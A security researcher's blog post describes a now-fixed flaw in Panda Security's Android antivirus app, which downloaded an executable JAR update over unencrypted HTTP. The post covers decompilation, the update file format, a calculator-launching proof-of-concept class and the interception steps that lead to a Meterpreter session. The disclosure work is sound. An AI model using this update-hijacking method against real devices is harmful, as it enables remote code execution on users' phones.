I thought it would be interesting to take a look at Android antivirus applications in the Play Store and I came across an application by Panda Security, with 1-5 million downloads:
After some analysis of this application, it turned out that version 3.1.2 (the most recent at the time) had a weakness that allowed an attacker in a position to intercept network traffic to execute malicious code on the user’s device. The weakness has now been fixed, so this blog will take a look at the process of discovering and exploiting the issue.
Information Gathering
As a first step, I began proxying application traffic and as soon as I opened the application I noticed files being downloaded over unencrypted HTTP:
Generally this isn’t good practice: these files could be modified by an attacker in a position to intercept network traffic, for example if someone is using an untrusted Wi-Fi network. However, if the application carries out independent verification of the files then this may not be an issue, so I set out to discover what these files do, and whether they are sufficiently protected.
When looking into an Android application it’s useful to decompile the APK (using tools such as jadx) and see if there is any readable source code. Android applications are written in Java (excluding any native libraries), and the nature of compilation into DEX bytecode means that a rough representation of the original Java source code can be reconstructed.
In this case, the application has been obfuscated at build-time, and a lot of class and method names have been altered to single letters, for example:
if (bn.k(bn.f(j))) { dVar.a = e.UPTODATE; } else { hTTPRequestIn.URL = makeRequestSync.contentString; hTTPRequestIn.resultContentType = ContentType.BYTEARRAY; HTTPRequestOut makeRequestSync2 = cVar.makeRequestSync(hTTPRequestIn); if (makeRequestSync2 != null && makeRequestSync2.HTTPresponse == 200) { byte[] bArr = makeRequestSync2.contentByteArray; if (bArr != null) { byte[] a = bq.a(bArr); if (a != null) { dVar.b = new i().a(new ByteArrayInputStream(a)); if (dVar.b != null) { File[] g = g(); if (g != null) { for (File delete : g) { delete.delete(); } } if (bn.a(a, bn.f(j.replace(".zip", ".xml")))) { dVar.a = e.OK; Log.i(a, "Catalog downloaded OK"); } else { dVar.a = e.ERROR; Log.i(a, "Error saving catalog"); } } else { dVar.a = e.ERROR; Log.i(a, "Error parsing catalog"); }
However, we can see log statements, and these give useful insights into what the code is doing.
If we run the application we won’t see these logs; the application uses a custom logging class, which only logs if a member variable ('mLogToLogcatEnabled’) is set to true:
public static void i(String str, String str2) { if (mLogToLogcatEnabled) { android.util.Log.i(str, str2); } if (mLogToFileEnabled) { logToFile(LogLevelTag.INFORMATION, str, str2); } }
It’s possible to re-enable the logging by patching the application. Tools like jadx give a good approximation of the original source code, but often cannot decompile everything, which makes it difficult to rebuild the application. To make modifications, we can switch to smali code, produced by tools like apktool. Smali is a closer representation of the DEX bytecode, which generally allows for modification and recompilation without errors.
We can re-enable logging by adding the following smali to the Log class’ ‘
const/4 v1, 0x1 sput-boolean v1, Lcom/pandasecurity/pandaavapi/utils/Log;->mLogToLogcatEnabled:Z
We also need to make sure logging isn’t disabled again by removing the following line from the ‘setLogcatEnabled’ method:
sput-boolean p0, Lcom/pandasecurity/pandaavapi/utils/Log;->mLogToLogcatEnabled:Z
If we run the patched application, we start to see log entries about the files downloaded over HTTP:
CatalogManager I New catalog available http://acs.pandasoftware.com/sigfiles/cats/sigcat_4052_20160817_112752.zip HTTPClient D makeRequestSync: HTTP request to: http://acs.pandasoftware.com/sigfiles/cats/sigcat_4052_20160817_112752.zip ZipUtils I zip element filename sigcat_4052_20160817_112752.xml CatalogManager I Catalog downloaded OK HTTPClient D makeRequestSync: HTTP request to: http://acs.pandasoftware.com/sigfiles/sigs/sf_mobile_20150317_085614.zip ZipUtils I zip element filename mobile.sig UpdateManager I Download integrity check passed UpdateManager I temporary file delete Ok /storage/emulated/0/Android/data/com.pandasecurity.pandaav/files/temp/downloaded.zip UpdateManager I sigfile downloaded ok to /data/user/0/com.pandasecurity.pandaav/files/updates/0x10000099 TechLoader I update /data/user/0/com.pandasecurity.pandaav/files/updates/0x10000099 TechLoader I setNeedCompleteUpdate /data/user/0/com.pandasecurity.pandaav/files/updates/0x10000099 TechLoader I completeUpdate /data/user/0/com.pandasecurity.pandaav/files/updates/0x10000099 TechLoader I completeUpdate returns true TechLoader I resetNeedCompleteUpdate TechLoader I tech initializeEx /data/user/0/com.pandasecurity.pandaav/files/engine/pandaavtech.jar TechLoader I Calling DexClassLoader TechLoader I Loading class TechLoader I Getting new instance TechLoader I Getting method TechLoader I Getting method TechLoader I tech initializeEx returned true
From this output, it looks like we have the following process:
- Download a ZIP file and extract XML,
- Download a further file, check integrity and update based on its contents,
- Load a JAR file and call a method.
The application is potentially downloading a JAR file over HTTP and loading classes from it. If we can modify this JAR file, we may be able to execute our own code.
Download Process
Walking through the files that are downloaded, we can start to associate them with what happens in the log.
The ZIP file which is downloaded first contains a ‘catalog’ XML file detailing available updates:
<?xml version="1.0" encoding="UTF-8"?> <UPDATES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOLUTION_ID>4052</SOLUTION_ID> <SIGFILES> <SIGFILE> <FILE_ID>131072</FILE_ID> <SUBTYPE>0</SUBTYPE> <FILENAME>sf_mobile_20150317_085614.zip</FILENAME> <URL>http://acs.pandasoftware.com/sigfiles/sigs</URL> <DATE>20150317</DATE> <HOUR>085614</HOUR> <MD5>7c8139ab4ab5a59a6a0660703d16ab1a</MD5> <INTERNAL_ID>0x10000099</INTERNAL_ID> <PATCHES> <PATCH> <PATCH_NAME>pf_mobile_20150310_142426.bsd</PATCH_NAME> <PATCH_MD5>344161500cbe9c4004173466fe4e98a3</PATCH_MD5> <PATCH_URL>http://acs.pandasoftware.com/sigfiles/sigs</PATCH_URL> </PATCH> </PATCHES> </SIGFILE> ... </SIGFILES> </UPDATES>
Each update has a ‘SIGFILE’ element: we can see that there is an ‘INTERNAL_ID’ value of 0x10000099 and a ‘FILENAME’ of ‘sf_mobile_20150317_085614.zip’, which both match the log output.
By downloading and inspecting the specified ZIP, we can also see that it contains the ‘mobile.sig’ file referenced in the log:
Archive: sf_mobile_20150317_085614.zip Length Date Time Name --------- ---------- ----- ---- 74462 2015-03-17 09:56 mobile.sig --------- ------- 74462 1 file
It seems then that the XML specifies where to download a ZIP file, which contains a ‘sigfile’, which probably contains the JAR file.
Working through and renaming methods in a key update function (identified through the log strings), we start to see this process in more detail:
boolean functionReturnCode = false; synchronized (this) { ArrayList arrayList = new ArrayList(); Log.i(k, "doUpdate"); if (k()) { boolean z2; d a = this.o.a(); if (a.a != rEngineDirectory.OK || a.b == null) { Log.i(k, "New catalog not available"); z2 = false; } else { Iterator it = a.b.c.iterator(); z2 = false; boolean z3 = false; while (it.hasNext()) { j jVar = (j) it.next(); if (a(jVar.a, jVar.b) && a(jVar)) { o oVar = new o(); oVar.b = jVar.rInternalID; String f = bn.rGetUpdatesDirectoryFile(jVar.rInternalID); if (rDownloadAndValidateFile(jVar, f)) { Log.i(k, "sigfile downloaded ok to " + f); if (!parseSigFile(f)) { Log.i(k, "Sigfile integrity check failed"); oVar.a = q.UPDATE_ERR_BAD_SIGFILE; functionReturnCode = z3; } else if (jVar.rInternalID.equals(rUpdateTypes.eAvTechSigfile.rGetSigTypeString())) { if (av.rAcquireTechLock(true)) { av a2 = av.rInitialiseJARFile(App.rGetAppContext()); if (a2 == null) { try { Log.i(k, "Error getting technology instance"); oVar.a = q.UPDATE_ERR; } catch (Throwable th) { av.b(true); } } else if (a2.rUpdateJARFileFromPath(f)) { oVar.a = q.UPDATE_OK_FULL; z3 = true;
In pseudocode this roughly translates to the following:
Loop through all files in the catalog: Download the ZIP file and extract them If the mobile.sig file MD5 matches the catalog MD5: If the file can be parsed and passes an integrity check: If the file is of type 0x10000099: Acquire a lock on the JAR file: If the JAR file exists or can be initialised to one provided in the APK: Update the JAR file from the mobile.sig file and load it
There are a couple of integrity checks during this process. The initial MD5 check is trivial to bypass because we can just alter the MD5 value in the unprotected XML catalog, but the downloaded mobile.sig file seems to have further validation.
File Format
The file format is referred to as a ‘SigFile’ in the code; it contains information about the SigFile and information on embedded ‘SubSig’ files. The patch to enable logging causes all of the header fields to be printed:
TechLoader I completeUpdate /data/user/0/com.pandasecurity.pandaav/files/updates/0x10000099 Sigfile I Eof 26 Sigfile I Magic becafeda Sigfile I Version 3 Sigfile I SubVersion 0 Sigfile I TamanoPAVSIG 74462 Sigfile I TamanoPAVSIGHEADER 267 Sigfile I CRC 0 Sigfile I NvirusConcreto 0 Sigfile I Año 2015 Sigfile I Dia 17 Sigfile I Mes 3 Sigfile I Hora 8 Sigfile I Minuto 56 Sigfile I Segundo 14 Sigfile I Centesima 102 Sigfile I Actualizacion 0 Sigfile I CRCact 0 Sigfile I Contenido 0 Sigfile I Encriptado 0 Sigfile I NumRegistros 0 Sigfile I Master_Actualizacion 0 Sigfile I PAVSIG_Version 0 Sigfile I SigID 10000099 Sigfile I MajorVersion 1 Sigfile I MinorVersion 0 Sigfile I Release 0 Sigfile I Build 0 Sigfile I nSubSig 1 Sigfile I nSubSig__Ocupados 1 Sigfile I Magic 1d000100 Sigfile I Offset 267 Sigfile I Size 74195 Sigfile I Crc 1b9ccf1a Sigfile I Comprimido 1 Sigfile I Encriptado -86 Sigfile I APVIR_Version 0
The key items in the file format are highlighted; for each ‘SubSig’ embedded file we have:
- The offset
- The size
- A Cyclic Redundancy Check (CRC) value
- An XOR key
This allows us to extract a valid JAR file from the mobile.sig file with the following commands (where xor.py does a basic byte-wise XOR with the provided key):
dd if=mobile.sig bs=1 skip=267 count=74195 of=subsig xor.py --infile subsig --outfile jar_file --xorkey 170
This confirms that the JAR file that is loaded is definitely downloaded over HTTP.
We could also reverse the process and patch a malicious JAR file into the ‘SigFile’, provided we fix the header values. At this point we can intercept the HTTP update process and replace the embedded JAR file. However, we need the application to actually execute the code in the JAR file.
Code Execution
To find which class we need to implement in our JAR file, we need to look at the methods that the application calls via reflection (again, partially deobfuscated):
private boolean rClassLoadJARFile(String str, boolean z, boolean z2) { boolean z3; Log.i(g, "tech initializeEx " + str); if (z2) { String e = rGetNeedCompleteUpdate(); if (e != null && rCompleteUpdate(e)) { rResetNeedCompleteUpdate(); } } File dir = App.rGetAppContext().getDir("outdex", 0); Log.i(g, "Calling DexClassLoader"); DexClassLoader dexClassLoader = new DexClassLoader(str, dir.getAbsolutePath(), null, App.rGetAppContext().getClassLoader()); try { Log.i(g, "Loading class"); Class loadClass = dexClassLoader.loadClass("com.pandasecurity.avtech.TechLoader"); Log.i(g, "Getting new instance"); this.a = loadClass.newInstance(); Class[] clsArr = new Class[0]; Log.i(g, "Getting method"); this.b = loadClass.getMethod("getVersion", clsArr); clsArr = new Class[]{eInterfaceIdentifiers.class, Object[].class}; Log.i(g, "Getting method"); this.c = loadClass.getMethod("getInterface", clsArr); if (!(this.b == null || this.c == null)) { z3 = true; if (!z3 && z) { Log.i(g, "tech initializeEx. Restoring factory technology"); new File(bn.rGetEngineDirectoryFile(rClassLoadedJARFile)).delete(); l.c(); z3 = rWriteDefaultJARIfNotExists(); if (z3) { z3 = rClassLoadJARFile(str, false, false); } } Log.i(g, "tech initializeEx returned " + z3); return z3; }
This shows that we need a ‘TechLoader’ class in a ‘com.pandasecurity.avtech’ package. Once an instance of this class is created, the application will try to find some methods through reflection. For completeness, we could implement these, but an instance of the class has already been created through the call to ‘newInstance’, which calls the default constructor. This means that, to achieve code execution, it’s enough to create a class with a default constructor.
For example, the following will ‘pop calc’ (a surprisingly fiddly process on Android: we run the first application whose name contains 'calc'):
package com.pandasecurity.avtech; import android.app.Application; import android.content.Intent; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.util.Log; import java.util.List; public class TechLoader { public TechLoader() { Log.d("PandaPOC", "Constructor called - code execution - launching calculator"); try { Application application = (Application) Class.forName("android.app.ActivityThread").getMethod("currentApplication").invoke(null, new Object[] {}); PackageManager packageManager = application.getPackageManager(); List packageList = packageManager.getInstalledPackages(0); for (PackageInfo packageInfo : packageList) { if(packageInfo.packageName.toString().toLowerCase().contains("calc")){ Intent intent = packageManager.getLaunchIntentForPackage(packageInfo.packageName.toString()); application.startActivity(intent); } } } catch (Exception exception) { Log.d("PandaPOC", "Error launching calculator: " + exception.getMessage()); } } }
Exploitation
So, putting this all together, we need to:
- Create a JAR file containing a ‘com.pandasecurity.avtech.TechLoader’ class with a default constructor that runs malicious code.
- Embed the JAR file as a ‘SubSig’ in a ‘SigFile’, with the CRC, offset, size and XOR key modified accordingly.
We can then:
- Intercept an application HTTP request for the catalog URL.
- Return the URL of our own malicious catalog, which should specify a 0x10000099 update, the MD5 of our malicious SigFile and a download URL for the zipped malicious SigFile.
The example below shows ARP poisoning and DNS spoofing being used to intercept the HTTP request of a newly installed application; with our code being executed to return a Meterpreter connection:
Contact and Follow Up
Tom works in our Research team in London. See our contact page for how to get in touch.